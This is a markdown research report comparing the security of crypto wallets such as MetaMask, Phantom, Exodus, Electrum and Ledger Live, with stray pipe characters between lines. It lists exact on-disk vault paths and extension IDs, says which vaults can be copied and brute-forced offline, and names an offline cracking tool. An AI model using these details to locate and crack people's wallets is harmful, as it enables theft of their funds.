- **$12.2 billion** global crypto wallet market (2025), projected to reach **$98.57 billion by 2034** (CAGR 26.7%)
|
||||||
|
- Hot wallets account for ~**78%** of crypto wallet usage
|
||||||
|
- Software wallet downloads exceeded **520 million** globally in 2025
|
||||||
|
- Personal wallet hacks hit **$713 million** in 2025; **20%+ of 2025 exploits** target browser/wallet extension layers
|
||||||
|
|
||||||
|
### Top Wallets by User Count
|
||||||
|
|
||||||
|
| Wallet | Monthly Active Users | Total Downloads/Users | Primary Platform |
|
||||||
|
|--------|---------------------|----------------------|-----------------|
|
||||||
|
| **MetaMask** | ~30 million MAU | 100+ million total | Browser Extension |
|
||||||
|
| **Trust Wallet** | ~17 million MAU | 220+ million downloads | Mobile (iOS/Android) |
|
||||||
|
| **Phantom** | ~5-7 million MAU (est.) | 15+ million total | Browser Extension + Mobile |
|
||||||
|
| **Coinbase Wallet** | ~3.2 million MAU | 10+ million downloads | Browser Extension + Mobile |
|
||||||
|
| **Exodus** | ~1-2 million MAU (est.) | 5+ million downloads | Desktop (Electron) + Mobile |
|
||||||
|
| **Rabby** | ~1 million MAU (est.) | 2+ million installs | Browser Extension |
|
||||||
|
| **OKX Wallet** | ~3-5 million MAU (est.) | 10+ million downloads | Browser Extension + Mobile |
|
||||||
|
| **Brave Wallet** | Built into Brave (~70M users) | N/A (built-in) | Browser-native |
|
||||||
|
| **Electrum** | ~500K-1M MAU (est.) | Long-standing BTC community | Desktop native (Python) |
|
||||||
|
| **Bitcoin Core** | ~100K-300K (est.) | Full node operators | Desktop native (C++) |
|
||||||
|
| **ZenGo** | ~1 million MAU (est.) | 2+ million downloads | Mobile (iOS/Android) |
|
||||||
|
| **Keplr** | ~500K-1M MAU (est.) | 1+ million installs | Browser Extension + Mobile |
|
||||||
|
| **Backpack** | ~500K MAU (est.) | 1+ million installs | Browser Extension |
|
||||||
|
| **Ledger Live** | ~2-3 million MAU (est.) | Tied to hardware sales | Desktop (Electron) + Mobile |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Complete Wallet List by Category <a name="wallet-list"></a>
|
||||||
|
|
||||||
|
### Browser Extension Wallets (EVM / Ethereum)
|
||||||
|
- **MetaMask** - Market leader, EVM ecosystem standard
|
||||||
|
- **Rabby** (by DeBank) - DeFi-focused, pre-transaction scanning
|
||||||
|
- **Coinbase Wallet** - Backed by Coinbase exchange
|
||||||
|
- **Brave Wallet** - Browser-native (not an extension)
|
||||||
|
- **Frame** - Privacy-focused, desktop-native with extension bridge
|
||||||
|
- **Rainbow** - Mobile-first with extension
|
||||||
|
|
||||||
|
### Browser Extension Wallets (Multi-Chain)
|
||||||
|
- **Phantom** - Solana/ETH/BTC/Base
|
||||||
|
- **Backpack** - Solana/Ethereum, xNFT architecture
|
||||||
|
- **OKX Wallet** - 80+ chains, MPC support
|
||||||
|
- **Trust Wallet** - Extension + mobile, 100+ chains
|
||||||
|
|
||||||
|
### Browser Extension Wallets (Ecosystem-Specific)
|
||||||
|
- **Keplr** - Cosmos/IBC ecosystem
|
||||||
|
- **Temple** - Tezos/Etherlink ecosystem
|
||||||
|
- **Polkadot.js** - Polkadot/Substrate
|
||||||
|
- **Nami** - Cardano
|
||||||
|
- **Yoroi** - Cardano (by Emurgo)
|
||||||
|
- **Eternl** - Cardano
|
||||||
|
- **Sui Wallet** - Sui blockchain
|
||||||
|
- **Petra** - Aptos blockchain
|
||||||
|
- **Martian** - Aptos blockchain
|
||||||
|
- **Sender** - NEAR Protocol
|
||||||
|
- **XDEFI** - Multi-chain (THORChain focus)
|
||||||
|
|
||||||
|
### Desktop Wallets (Native)
|
||||||
|
- **Exodus** - Multi-chain, Electron-based
|
||||||
|
- **Electrum** - Bitcoin-only, Python
|
||||||
|
- **Bitcoin Core** - Bitcoin full node, C++
|
||||||
|
- **Sparrow** - Bitcoin-only, Java
|
||||||
|
- **Wasabi** - Bitcoin, privacy-focused (CoinJoin)
|
||||||
|
- **Atomic Wallet** - Multi-chain, Electron (COMPROMISED 2023)
|
||||||
|
- **Ledger Live** - Companion to Ledger hardware, Electron
|
||||||
|
|
||||||
|
### Mobile Wallets (Primary)
|
||||||
|
- **Trust Wallet** - Leading mobile wallet
|
||||||
|
- **ZenGo** - MPC/keyless architecture
|
||||||
|
- **Crypto.com DeFi Wallet** - Multi-chain
|
||||||
|
- **SafePal** - Software + hardware hybrid
|
||||||
|
- **Coinomi** - Multi-chain, long-standing
|
||||||
|
- **BlueWallet** - Bitcoin/Lightning
|
||||||
|
- **Muun** - Bitcoin/Lightning
|
||||||
|
- **Green (Blockstream)** - Bitcoin, multisig
|
||||||
|
|
||||||
|
### MPC / Smart Wallets
|
||||||
|
- **ZenGo** - 2-of-2 MPC, keyless
|
||||||
|
- **OKX Wallet** - MPC mode available
|
||||||
|
- **Fireblocks** - Institutional MPC
|
||||||
|
- **Safe (formerly Gnosis Safe)** - Smart contract wallet
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Detailed Security Architecture per Wallet <a name="detailed-architectures"></a>
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### MetaMask
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Browser extension (Chrome, Firefox, Brave, Edge) + Mobile (React Native) |
|
||||||
|
| **Chains** | EVM chains + Bitcoin (added Dec 2025) + Solana |
|
||||||
|
| **Encryption Algorithm** | AES-256-GCM |
|
||||||
|
| **Key Derivation** | PBKDF2-HMAC-SHA256 |
|
||||||
|
| **KDF Iterations** | **900,000** (current, upgraded from 600,000, originally 10,000) |
|
||||||
|
| **Salt** | Random, from `crypto.getRandomValues()` |
|
||||||
|
| **IV** | Random 96-bit, from `crypto.getRandomValues()` |
|
||||||
|
| **Vault Location (Windows/Chrome)** | `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn` |
|
||||||
|
| **Vault Location (macOS/Chrome)** | `~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn` |
|
||||||
|
| **Storage Format** | LevelDB (.ldb files), JSON vault data inside |
|
||||||
|
| **What's Encrypted** | Seed phrase (mnemonic) + all imported private keys in a single vault blob |
|
||||||
|
| **Runtime Key Handling** | Decrypted keys held in `this.memStore` (in-memory JavaScript object) while wallet is unlocked; cleared on lock |
|
||||||
|
| **Anti-Tampering** | AES-GCM provides authenticated encryption (integrity check) |
|
||||||
|
| **Open Source** | Yes (MIT license) |
|
||||||
|
| **Security Audits** | Multiple audits over the years |
|
||||||
|
| **Hardware Wallet Support** | Ledger, Trezor, Lattice1, Keystone |
|
||||||
|
| **Unique Features** | Vault decryptor tool available; progressive encryption upgrades; Snaps extensibility |
|
||||||
|
| **Known Incidents** | No direct protocol breaches; targeted by phishing/malware extensively; privacy concerns around IP/data collection (ConsenSys/Infura) |
|
||||||
|
|
||||||
|
**Key Insight**: MetaMask's encryption has evolved significantly. Early versions used only 10,000 PBKDF2 iterations, making offline brute-force feasible for weak passwords. Current versions use 900,000 iterations, which is much stronger. The vault upgrade mechanism (`updateVault`) allows migrating old vaults to stronger parameters. The vault is a single encrypted JSON blob in LevelDB -- if you can copy the `.ldb` files and know the password, you can decrypt with the official vault decryptor.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Phantom
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Browser extension (Chrome, Firefox, Brave, Edge) + Mobile (iOS/Android) |
|
||||||
|
| **Chains** | Solana, Ethereum, Bitcoin, Base, Polygon |
|
||||||
|
| **Encryption Algorithm** | NaCl SecretBox (XSalsa20-Poly1305) |
|
||||||
|
| **Key Derivation** | PBKDF2 (10,000 iterations, SHA-256) **or** Scrypt |
|
||||||
|
| **Salt** | Random |
|
||||||
|
| **Nonce** | Random (24-byte for NaCl SecretBox) |
|
||||||
|
| **Vault Location (Windows/Chrome)** | `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa` |
|
||||||
|
| **Storage Format** | LevelDB, encrypted vault JSON |
|
||||||
|
| **What's Encrypted** | BIP-39 mnemonic phrases and/or Base58 private keys |
|
||||||
|
| **Runtime Key Handling** | Decrypted in memory when unlocked |
|
||||||
|
| **Anti-Tampering** | Poly1305 MAC (authenticated encryption via NaCl SecretBox) |
|
||||||
|
| **Open Source** | No (closed source) |
|
||||||
|
| **Security Audits** | Kudelski Security audit |
|
||||||
|
| **Hardware Wallet Support** | Ledger |
|
||||||
|
| **Unique Features** | Transaction simulation/preview; scam detection; multi-chain in single extension |
|
||||||
|
| **Known Incidents** | No direct breaches of the wallet itself |
|
||||||
|
|
||||||
|
**Key Insight**: Phantom uses NaCl SecretBox rather than AES-GCM, which is a solid choice cryptographically. However, PBKDF2 at 10,000 iterations is notably weaker than MetaMask's current 900,000. The vault structure is extractable from Chrome's LevelDB and can be attacked offline with tools like `phantom_pwn`. Closed-source nature limits independent verification.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Exodus
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Desktop (Electron) + Mobile (iOS/Android) + Browser Extension |
|
||||||
|
| **Chains** | 300+ cryptocurrencies |
|
||||||
|
| **Encryption Algorithm** | AES-256-GCM |
|
||||||
|
| **Key Derivation** | Password-based (specific KDF parameters not publicly documented) |
|
||||||
|
| **Data Location (Windows)** | `%APPDATA%\Exodus` (wallet data) and `%LOCALAPPDATA%\exodus` (application) |
|
||||||
|
| **Data Location (macOS)** | `~/Library/Application Support/Exodus` |
|
||||||
|
| **Storage Format** | Proprietary encrypted files |
|
||||||
|
| **What's Encrypted** | Private keys and seed phrase, encrypted with user password |
|
||||||
|
| **Runtime Key Handling** | Keys held in Electron process memory while unlocked |
|
||||||
|
| **Anti-Tampering** | GCM authentication tag |
|
||||||
|
| **Open Source** | **No** (closed source / partial open source) |
|
||||||
|
| **Security Audits** | Internal security team; no public third-party audit reports |
|
||||||
|
| **Hardware Wallet Support** | Trezor |
|
||||||
|
| **Unique Features** | Built-in exchange; mobile cloud backup (encrypted seed in iCloud/Google Drive) |
|
||||||
|
| **Known Incidents** | Zero serious safety breaches reported. Targeted by fake Exodus apps/malware. |
|
||||||
|
|
||||||
|
**Key Insight**: Exodus is closed-source, so the exact KDF parameters are not publicly verifiable. Being Electron-based means the entire Node.js runtime is available to the application -- and to any malware that can inject into or read from the Electron process. The cloud backup feature (encrypted seed stored in iCloud/Google Drive) adds convenience but also adds attack surface if the backup password is weak.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Trust Wallet
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Mobile (iOS/Android, primary) + Browser Extension |
|
||||||
|
| **Chains** | 100+ chains, 10 million+ tokens |
|
||||||
|
| **Encryption Algorithm** | AES-256 (specific mode not publicly documented for mobile; likely AES-GCM for extension) |
|
||||||
|
| **Key Derivation** | Password-based (specific KDF not publicly detailed) |
|
||||||
|
| **Key Storage (Mobile)** | iOS: **Secure Enclave** / Keychain; Android: **Android Keystore** (hardware-backed where available) |
|
||||||
|
| **Key Storage (Extension)** | Browser local storage, encrypted |
|
||||||
|
| **Storage Format** | Platform-native secure storage (mobile); LevelDB (extension) |
|
||||||
|
| **What's Encrypted** | Private keys and seed phrase |
|
||||||
|
| **Runtime Key Handling** | Keys managed via platform secure storage APIs |
|
||||||
|
| **Anti-Tampering** | Platform-level (Secure Enclave / TEE on mobile); password hash stored in tamper-proof keystore |
|
||||||
|
| **Open Source** | Core library is open source (trust-wallet-core on GitHub) |
|
||||||
|
| **Security Audits** | Halborn, Kudelski Security |
|
||||||
|
| **Hardware Wallet Support** | Ledger (via WalletConnect) |
|
||||||
|
| **Unique Features** | Biometric unlock; Secure Enclave usage on iOS; built-in dApp browser; staking |
|
||||||
|
| **Known Incidents** | **December 2025**: Chrome extension shipped malicious update (v2.68) via compromised Chrome Web Store API key -- **$7 million drained** from hundreds of users. This was a supply chain attack, not a cryptographic failure. |
|
||||||
|
|
||||||
|
**Key Insight**: Trust Wallet's mobile app is among the most resistant to local extraction because it leverages hardware-backed key storage (Secure Enclave on iOS, Android Keystore with TEE). Keys stored in the Secure Enclave cannot be extracted even with root access -- they can only be used for signing operations. The browser extension, however, has the same vulnerabilities as any other extension-based wallet. The December 2025 supply chain attack demonstrates extension-specific risks.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Coinbase Wallet
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Browser extension + Mobile (iOS/Android) |
|
||||||
|
| **Chains** | Ethereum, Solana, Bitcoin, and EVM chains |
|
||||||
|
| **Encryption Algorithm** | AES-256-GCM (cloud backups confirmed; extension likely similar) |
|
||||||
|
| **Key Derivation** | PBKDF2 (iteration count not publicly specified) |
|
||||||
|
| **Key Storage** | Local encrypted storage; cloud backup option (encrypted on-device before upload) |
|
||||||
|
| **Storage Format** | Browser local storage (extension); platform secure storage (mobile) |
|
||||||
|
| **Anti-Tampering** | GCM authentication; domain verification / phishing protection |
|
||||||
|
| **Open Source** | Partially (some components) |
|
||||||
|
| **Security Audits** | Backed by Coinbase security team |
|
||||||
|
| **Hardware Wallet Support** | Ledger |
|
||||||
|
| **Unique Features** | Coinbase exchange integration; AWS Nitro Enclaves for programmable wallets (custodial side); Smart Wallet with passkey support |
|
||||||
|
| **Known Incidents** | No major direct breaches of the self-custody wallet |
|
||||||
|
|
||||||
|
**Key Insight**: Coinbase Wallet benefits from the engineering resources of a publicly traded company. Their "Smart Wallet" product uses passkeys and server-side enclaves (AWS Nitro) for key management, which is a fundamentally different (and more breach-resistant) model than traditional seed-phrase wallets. However, the standard self-custody extension follows the same general pattern as MetaMask.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Rabby (by DeBank)
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Browser extension + Mobile |
|
||||||
|
| **Chains** | 113+ EVM chains |
|
||||||
|
| **Encryption Algorithm** | AES-GCM (128-bit security level) |
|
||||||
|
| **Key Derivation** | PBKDF2 (iteration count not specified in public docs -- noted by auditors as "password-stretched" via PBKDF2) |
|
||||||
|
| **Vault Structure** | Private keys encrypted under vault key, stored in extension local storage |
|
||||||
|
| **Storage Format** | Browser local storage (chrome.storage.local) |
|
||||||
|
| **Anti-Tampering** | GCM authentication tag |
|
||||||
|
| **Open Source** | **Yes** (MIT license, fully auditable) |
|
||||||
|
| **Security Audits** | SlowMist, Cure53, Least Authority (multiple audits in 2024-2025) |
|
||||||
|
| **Hardware Wallet Support** | Ledger, Trezor, Keystone, OneKey, GridPlus |
|
||||||
|
| **Unique Features** | Pre-transaction risk scanning; automatic chain switching; wallet whitelist; off-chain signature phishing warnings |
|
||||||
|
| **Known Incidents** | No direct breaches |
|
||||||
|
|
||||||
|
**Key Insight**: Rabby has the best pre-transaction security features of any browser extension wallet (risk scanning, simulation, phishing detection). However, its underlying vault encryption uses AES-GCM with PBKDF2, and the effective security is limited by password strength (one study cited by auditors estimated average password entropy at ~40.54 bits). Open-source nature allows full verification but also means attackers can study the implementation.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Brave Wallet
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | **Browser-native** (built into Brave browser, NOT an extension) |
|
||||||
|
| **Chains** | Ethereum, Solana, Filecoin, EVM chains |
|
||||||
|
| **Encryption Algorithm** | Client-side encryption (specific algorithm not publicly detailed; uses Chromium's encryption infrastructure) |
|
||||||
|
| **Key Derivation** | Password-based |
|
||||||
|
| **Key Storage** | Brave browser's internal encrypted storage (not accessible via extension APIs) |
|
||||||
|
| **Storage Format** | Integrated into browser profile data |
|
||||||
|
| **Anti-Tampering** | Not exposed to extension API attack surface |
|
||||||
|
| **Open Source** | **Yes** (Brave is fully open source) |
|
||||||
|
| **Security Audits** | Part of Brave's overall security audit program |
|
||||||
|
| **Hardware Wallet Support** | Ledger, Trezor |
|
||||||
|
| **Unique Features** | No extension permissions needed; reduced attack surface; lower CPU/memory usage; built-in Brave Rewards integration |
|
||||||
|
| **Known Incidents** | No major breaches |
|
||||||
|
|
||||||
|
**Key Insight**: Brave Wallet's primary security advantage is architectural: because it is built into the browser rather than being an extension, it does NOT require the broad permissions that extensions need ("read and change all your data on websites you visit"). It cannot be spoofed by a fake extension, and it is not accessible to other extensions. The vault is stored within the browser's internal data structures rather than in a LevelDB accessible via the extensions API. This makes it significantly more resistant to extension-based malware and the entire class of "malicious extension" attacks.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Atomic Wallet (COMPROMISED)
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Desktop (Electron) + Mobile |
|
||||||
|
| **Chains** | 300+ cryptocurrencies |
|
||||||
|
| **Encryption Algorithm** | AES (specific mode not publicly documented) |
|
||||||
|
| **Key Derivation** | Password-based |
|
||||||
|
| **Key Storage** | Local encrypted files |
|
||||||
|
| **Open Source** | **No** (closed source) |
|
||||||
|
| **Security Audits** | Least Authority performed an audit in 2022 that identified vulnerabilities |
|
||||||
|
| **Known Incidents** | **June 2023: $100M+ stolen** by Lazarus Group (North Korea). Root cause never fully determined. Suspected vectors: weak random number generation, software supply chain attack (malicious SDK), possible key transmission to centralized servers, outdated Android dependencies. |
|
||||||
|
|
||||||
|
**Key Insight**: Atomic Wallet is the cautionary tale. Despite being a popular wallet, the June 2023 hack resulted in $100M+ in losses attributed to the Lazarus Group. The exact root cause was never publicly confirmed, but security researchers identified multiple potential weaknesses: insufficient entropy in key generation, possible backdoor via compromised dependency, and potential logging of sensitive key material. The wallet was closed-source, limiting independent security verification. Least Authority had flagged security concerns in a 2022 audit. This case demonstrates why closed-source wallets with opaque encryption implementations are high risk.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Electrum
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Desktop native (Python) |
|
||||||
|
| **Chains** | Bitcoin only |
|
||||||
|
| **Encryption Algorithm** | AES-256-CBC (private keys); ECIES (wallet file encryption) |
|
||||||
|
| **Key Derivation** | ECIES-based (asymmetric) for wallet file; password-derived for private keys |
|
||||||
|
| **Wallet File Encryption** | ECIES: ECDH key exchange -> derives 16-byte IV + 16-byte AES key + 32-byte HMAC key |
|
||||||
|
| **Data Location (Windows)** | `%APPDATA%\Electrum\wallets\` |
|
||||||
|
| **Data Location (Linux)** | `~/.electrum/wallets/` |
|
||||||
|
| **Data Location (macOS)** | `~/.electrum/wallets/` |
|
||||||
|
| **Storage Format** | JSON wallet file |
|
||||||
|
| **What's Encrypted** | Private keys (encrypted individually); wallet file encrypted at rest since v2.8 |
|
||||||
|
| **Runtime Key Handling** | **Keys decrypted only briefly for transaction signing, then cleared**; password NOT kept in memory |
|
||||||
|
| **Anti-Tampering** | HMAC authentication (via ECIES); verified reproducible builds |
|
||||||
|
| **Open Source** | **Yes** (MIT license) |
|
||||||
|
| **Security Audits** | Community-reviewed; formal verification published (INRIA) |
|
||||||
|
| **Hardware Wallet Support** | Ledger, Trezor, Coldcard, Bitbox, Jade, Keystone |
|
||||||
|
| **Unique Features** | Multisig; cold storage; Lightning Network; Tor support; coin control; reproducible builds |
|
||||||
|
| **Seed Entropy** | 132 bits |
|
||||||
|
| **Known Incidents** | 2018-2020: Phishing attacks via fake Electrum update servers (not a wallet crypto flaw) |
|
||||||
|
|
||||||
|
**Key Insight**: Electrum has one of the strongest security architectures among software wallets. The use of ECIES for wallet file encryption means the password is NOT needed in memory after encryption -- the asymmetric scheme allows the wallet to be saved without knowing the password. Private keys are only decrypted momentarily during signing. Being a native Python application (not Electron), it has a smaller attack surface. Reproducible builds allow verification that the distributed binary matches the source code. The main weakness is that it's Bitcoin-only.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Bitcoin Core
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Desktop native (C++) -- full node |
|
||||||
|
| **Chains** | Bitcoin only |
|
||||||
|
| **Encryption Algorithm** | AES-256-CBC |
|
||||||
|
| **Key Derivation** | SHA-512 via OpenSSL `EVP_BytesToKey`; dynamic iteration count based on machine speed at first encryption |
|
||||||
|
| **Master Key** | Random master key encrypts all private keys; master key itself encrypted with password-derived key |
|
||||||
|
| **Data Location (Windows)** | `%APPDATA%\Bitcoin\wallets\` (or `wallet.dat` in data dir) |
|
||||||
|
| **Data Location (Linux)** | `~/.bitcoin/wallets/` |
|
||||||
|
| **Storage Format** | Berkeley DB (legacy) or SQLite (descriptor wallets, newer) |
|
||||||
|
| **What's Encrypted** | **Only private keys**; public keys, addresses, transaction metadata remain unencrypted |
|
||||||
|
| **Runtime Key Handling** | Wallet can be locked/unlocked; when locked, encrypted keys cannot be used; when unlocked, master key held in memory |
|
||||||
|
| **Anti-Tampering** | Not encrypted by default -- user must explicitly enable encryption |
|
||||||
|
| **Open Source** | **Yes** (MIT license) |
|
||||||
|
| **Security Audits** | Most reviewed cryptocurrency codebase in existence |
|
||||||
|
| **Unique Features** | Full node validation; coin control; PSBT support; descriptor wallets |
|
||||||
|
| **Known Incidents** | No cryptographic breaches of the wallet encryption itself |
|
||||||
|
|
||||||
|
**Key Insight**: Bitcoin Core's wallet encryption is battle-tested but relatively simple. Key architectural decision: only private keys are encrypted, allowing the wallet to monitor the blockchain without needing the password. The dynamic iteration count for key derivation was novel at the time but is less sophisticated than modern KDFs like Argon2. The `wallet.dat` file is NOT encrypted by default -- users must explicitly enable encryption. Being a native C++ application with no web technologies, the attack surface is minimal compared to Electron/browser-based wallets.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Ledger Live
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Desktop (Electron) + Mobile companion to Ledger hardware |
|
||||||
|
| **Chains** | 5000+ crypto assets |
|
||||||
|
| **Encryption Algorithm** | Private keys **never stored in Ledger Live** -- stored only on hardware device's Secure Element |
|
||||||
|
| **Key Storage** | Hardware Secure Element (ST33/ST31 chips); Ledger Live stores only public keys, account metadata |
|
||||||
|
| **Local Data** | Account xpubs, transaction history, settings (persisted locally, not online) |
|
||||||
|
| **Ledger Key Ring Protocol** | End-to-end encryption keys derived from hardware device for secure data sync |
|
||||||
|
| **Anti-Tampering** | Hardware-based: Secure Element with side-channel and fault attack countermeasures |
|
||||||
|
| **Open Source** | Ledger Live is open source; firmware is proprietary |
|
||||||
|
| **Security Audits** | Multiple audits; Donjon security team (internal) |
|
||||||
|
| **Unique Features** | Genuine check; secure display on device; physical confirmation required for all transactions |
|
||||||
|
| **Known Incidents** | 2020: Customer database breach (email/physical addresses leaked, NOT keys); 2023: Ledger Connect Kit supply chain attack (JS library compromised) |
|
||||||
|
|
||||||
|
**Key Insight**: Ledger Live is fundamentally different from other software wallets because it does NOT store private keys at all. The private keys exist only within the hardware device's Secure Element chip and are never exposed to the host computer. Even if Ledger Live is fully compromised, the attacker cannot extract private keys -- they can only attempt to trick the user into signing malicious transactions (which must be confirmed on the physical device's screen). This is the gold standard for key isolation. The risk is in the metadata (account balances, addresses, xpubs) stored on disk, and in supply chain attacks against the Ledger Live software itself.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### ZenGo
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Mobile (iOS/Android) |
|
||||||
|
| **Chains** | Bitcoin, Ethereum, 120+ assets |
|
||||||
|
| **Encryption Algorithm** | MPC (Multi-Party Computation) -- no single private key exists |
|
||||||
|
| **Key Architecture** | **2-of-2 MPC**: Personal Share (on device, hardware-backed TRNG) + Remote Share (ZenGo servers) |
|
||||||
|
| **Key Storage** | Personal share stored in device secure storage; remote share on ZenGo infrastructure |
|
||||||
|
| **Recovery** | Encrypted backup of personal share to cloud; recovery via 3D face biometric map (3FA) |
|
||||||
|
| **What's Encrypted** | Each share is independently encrypted; neither share alone can sign transactions |
|
||||||
|
| **Anti-Tampering** | No seed phrase to extract; hardware-backed storage for personal share |
|
||||||
|
| **Open Source** | MPC library is open source; app is closed source |
|
||||||
|
| **Security Audits** | 7 audits in 5 years; multiple US/EU patents |
|
||||||
|
| **Hardware Wallet Support** | N/A (MPC replaces hardware wallet need) |
|
||||||
|
| **Unique Features** | **Keyless** -- no seed phrase; 3D face biometric recovery; real-time scam detection (Web3 Firewall) |
|
||||||
|
| **Known Incidents** | **Zero wallets hacked -- ever** (as of March 2026) |
|
||||||
|
|
||||||
|
**Key Insight**: ZenGo represents a fundamentally different security model. There is no single private key that can be extracted from any single location. An attacker would need to compromise both the user's device AND ZenGo's servers simultaneously. The 3D face biometric recovery eliminates the seed phrase as an attack vector entirely. The trade-off is trust in ZenGo as a company (the remote share is on their servers) and vendor lock-in. For local credential extraction resistance, this is arguably the strongest model because there is literally no complete key to extract.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Keplr
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Browser extension + Mobile |
|
||||||
|
| **Chains** | Cosmos ecosystem, IBC chains |
|
||||||
|
| **Encryption Algorithm** | AES-based (specific parameters not publicly detailed) |
|
||||||
|
| **Key Derivation** | Password-based |
|
||||||
|
| **Key Storage** | Encrypted locally on device |
|
||||||
|
| **Anti-Tampering** | Standard browser extension encryption |
|
||||||
|
| **Open Source** | **Yes** |
|
||||||
|
| **Security Audits** | Third-party audited |
|
||||||
|
| **Hardware Wallet Support** | Ledger, Trezor |
|
||||||
|
| **Unique Features** | IBC transfers; Cosmos staking; biometric auth on mobile |
|
||||||
|
| **Known Incidents** | No major breaches |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Temple (Tezos)
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Browser extension + Mobile |
|
||||||
|
| **Chains** | Tezos, Etherlink, Ethereum |
|
||||||
|
| **Encryption Algorithm** | Platform-specific security controls; industry-standard encryption |
|
||||||
|
| **Key Storage** | Encrypted locally; platform-specific secure storage on mobile |
|
||||||
|
| **Anti-Tampering** | Defense-in-depth approach; mnemonic leakage prevention |
|
||||||
|
| **Open Source** | **Yes** (fully open source) |
|
||||||
|
| **Security Audits** | Cossack Labs security assessment (commissioned by Tezos Foundation) |
|
||||||
|
| **Known Issues Found in Audit** | Cryptography improvements needed; platform-specific security controls added; mnemonic leakage prevention; abuse risk reduction |
|
||||||
|
| **Known Incidents** | No major breaches |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Backpack
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Browser extension |
|
||||||
|
| **Chains** | Solana, Ethereum |
|
||||||
|
| **Encryption Algorithm** | Standard encryption (specific parameters not publicly detailed) |
|
||||||
|
| **Key Storage** | Non-custodial, local encrypted storage |
|
||||||
|
| **Anti-Tampering** | xNFT sandboxed execution model |
|
||||||
|
| **Open Source** | **Yes** (coral-xyz/backpack on GitHub) |
|
||||||
|
| **Security Audits** | Halborn audit |
|
||||||
|
| **Hardware Wallet Support** | Ledger |
|
||||||
|
| **Unique Features** | **xNFT architecture** (apps run in sandboxed environment within wallet, not on external websites -- prevents phishing UI spoofing); Collection Locking (auto-reject drainer transactions) |
|
||||||
|
| **Known Incidents** | No major breaches |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### OKX Wallet
|
||||||
|
|
||||||
|
| Property | Details |
|
||||||
|
|----------|---------|
|
||||||
|
| **Type** | Browser extension + Mobile |
|
||||||
|
| **Chains** | 80+ networks |
|
||||||
|
| **Encryption Algorithm** | AES-based + MPC (optional mode) |
|
||||||
|
| **Key Architecture** | Standard mode: local encrypted keys. MPC mode: key fragments split across device, cloud, and OKX server (2-of-3 threshold) |
|
||||||
|
| **Key Storage** | Standard: encrypted on device. MPC: fragments encrypted and distributed |
|
||||||
|
| **Anti-Tampering** | Smart contract risk scoring; real-time security alerts; allow-listing |
|
||||||
|
| **Open Source** | SDK is open source (js-wallet-sdk, go-wallet-sdk); wallet app is closed source |
|
||||||
|
| **Security Audits** | SlowMist, CertiK |
|
||||||
|
| **Hardware Wallet Support** | Ledger, Trezor |
|
||||||
|
| **Unique Features** | MPC mode (2-of-3 key splitting); DEX aggregator built-in; NFT marketplace |
|
||||||
|
| **Known Incidents** | No major breaches of the wallet itself |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Comparison Matrix <a name="comparison-matrix"></a>
|
||||||
|
|
||||||
|
### Encryption & Key Derivation Comparison
|
||||||
|
|
||||||
|
| Wallet | Encryption | KDF | KDF Iterations | Vault Extractable from Disk? | Keys in Memory When Unlocked? |
|
||||||
|
|--------|-----------|-----|----------------|------------------------------|-------------------------------|
|
||||||
|
| **MetaMask** | AES-256-GCM | PBKDF2-HMAC-SHA256 | **900,000** | Yes (LevelDB) | Yes |
|
||||||
|
| **Phantom** | NaCl SecretBox (XSalsa20-Poly1305) | PBKDF2/Scrypt | **10,000** (PBKDF2) | Yes (LevelDB) | Yes |
|
||||||
|
